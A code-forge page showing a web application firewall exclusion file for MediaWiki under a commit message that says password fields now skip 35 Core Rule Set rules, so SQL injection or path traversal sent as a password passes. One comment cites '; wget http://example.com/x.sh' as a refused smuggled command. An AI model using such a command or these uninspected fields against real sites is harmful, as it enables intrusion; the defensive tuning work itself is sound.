check / check (push) Failing after 3m25s
A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. An SQL injection or a path traversal sent as a password now passes; a script injection is still refused. Model: opus-5-5
293 lines
19 KiB
Plaintext
293 lines
19 KiB
Plaintext
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
|
# request, before the rules it switches off, so this file is loaded before the
|
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
|
# exclusion on a field of a body applies only when the query has no parameter of
|
|
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
|
|
# paths are matched at the site root and under /w/.
|
|
#
|
|
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
|
# with a page title, in the query or after the path:
|
|
# /index.php?title=Main_Page
|
|
# /index.php/Main_Page, where a wiki without short URLs serves its pages
|
|
# Pages under /wiki/ need neither.
|
|
#
|
|
# Four rules read a search, a title or a name as a command or a system file.
|
|
# Each exclusion below for such a field removes these four:
|
|
# 930120: .htaccess
|
|
# 932120: powershell
|
|
# 932250: ls -la
|
|
# 932260: python3
|
|
|
|
# The pages and their titles, the searches, and the special pages' fields
|
|
# for a page, a user, a file or an address:
|
|
# title: /index.php?title=Python3_notes&action=history
|
|
# search: /index.php?search=python3&title=Special:Search
|
|
# target: /wiki/Special:WhatLinksHere?target=Python3+notes
|
|
# page, user: /wiki/Special:Log?user=Admin&page=Python3+notes
|
|
# username: /wiki/Special:ListUsers?username=python3
|
|
# from, to: /wiki/Special:AllPages?from=python3
|
|
# prefix: /wiki/Special:PrefixIndex?prefix=python3
|
|
# returnto, returntoquery: /wiki/Special:UserLogin?returnto=Python3_notes
|
|
# ilsearch: /wiki/Special:ListFiles?ilsearch=python3
|
|
# filename: /wiki/Special:FileDuplicateSearch?filename=Pic+python3.png
|
|
# wpDestFile: /wiki/Special:Upload?wpDestFile=Pic+python3.png
|
|
# wpTarget: /wiki/Special:BlockList?wpTarget=Python3, and blocking or
|
|
# unblocking the user Python3
|
|
# Uploaded files' names skip 932180, as on the API below.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900900,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
|
|
ctl:ruleRemoveTargetById=932180;FILES"
|
|
|
|
# The API's searches, titles, names and file names, in the query or the body:
|
|
# search: /api.php?action=opensearch&search=python3
|
|
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
|
|
# titles, title, page: /api.php?action=parse&page=Python3+notes
|
|
# from, to: moving a page, from=Python3+notes&to=Ls+-la+notes
|
|
# apfrom, apto, apprefix: /api.php?action=query&list=allpages&apfrom=python3
|
|
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
|
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
|
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
|
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
|
|
# gbltitle, geuquery: the same fields from a generator,
|
|
# /api.php?action=query&generator=allpages&gapprefix=python3
|
|
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
|
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
|
|
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
|
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
|
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
|
# summary, sectiontitle: saving a page, summary=Notes+on+python3
|
|
# filename, comment: uploading a file, filename=Api+python3.png
|
|
# reason: moving or deleting a page, reason=python3
|
|
# lgname, lgpassword, username, password: signing in, password=python3
|
|
# Uploaded files' names skip 932180, which refused uploading
|
|
# "Api .htaccess.png" as a server's own file. Coraza keeps these names without
|
|
# the field each came in. MediaWiki refuses a file whose extension it does not
|
|
# allow.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|
"id:900901,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
|
ctl:ruleRemoveTargetById=932180;FILES"
|
|
|
|
# The search box's suggestions and the search through the REST API:
|
|
# /rest.php/v1/search/title?q=python3.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
|
|
"id:900902,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
|
|
# The names of the scripts and styles a page loads, which 930120 read as a
|
|
# system file: /load.php?modules=jquery,moment,oojs,...|mediawiki.storage.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?load\.php$" \
|
|
"id:900903,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:modules"
|
|
|
|
# The fields below are in bodies, and skip the four rules there:
|
|
# wpSummary: saving a page, "Notes on python3, ls -la and .htaccess"
|
|
# wpUploadDescription: uploading a file
|
|
# wpName, wpPassword: signing in
|
|
# wpOldTitle, wpNewTitleMain, wpReason: moving a page to "Python3 notes"
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900910,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
SecRule &ARGS_GET:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
|
|
|
# wpPassword, lgpassword and password skip each rule random passwords set off.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900917,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
|
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|
"id:900918,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
|
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
|
|
|
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
|
# table and code blocks with a shell script, an SQL query and JavaScript, so
|
|
# they skip those fields: 930120, 932120, 932125, 932160, 932230, 932235,
|
|
# 932250, 932260, 941180, 941390, 942190 and 942270.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900911,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
SecRule &ARGS_GET:wpTextbox1 "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=941180;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=941390;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=942190;ARGS:wpTextbox1,\
|
|
ctl:ruleRemoveTargetById=942270;ARGS:wpTextbox1"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|
"id:900912,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^(?:text|appendtext|prependtext)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:text|appendtext|prependtext)$/,\
|
|
ctl:ruleRemoveTargetById=942270;ARGS:/^(?:text|appendtext|prependtext)$/"
|
|
|
|
# A REST API client saving a page sends its wikitext in source, which skips
|
|
# the rules above, and its summary in comment, which skips the four rules.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
|
|
"id:900913,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:source|comment)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:source|comment)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:source|comment)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:source|comment)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:source|comment)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=941180;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=941390;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=942190;ARGS:json.source,\
|
|
ctl:ruleRemoveTargetById=942270;ARGS:json.source"
|
|
|
|
# The reasons on the admin pages are in bodies. They skip only 930120 and
|
|
# 932120, which refused "Spamming links to .htaccess guides" and the same with
|
|
# powershell:
|
|
# wpReason-other: blocking a user
|
|
# user-reason: changing a user's groups
|
|
# mwProtect-reason: protecting a page
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900914,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
|
|
|
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
|
# line. Watchlists holding "Lighthouse notes" and then one of these titles
|
|
# were refused:
|
|
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
|
|
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
|
|
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
|
|
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
|
|
# refused. A watchlist that mixes a title holding one of these with a title
|
|
# starting with a command name is refused too.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900915,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
|
|
|
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
|
# once, since it would otherwise skip these rules for a second wpTitles
|
|
# holding a command.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
"id:900916,phase:2,pass,nolog,chain"
|
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
|
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|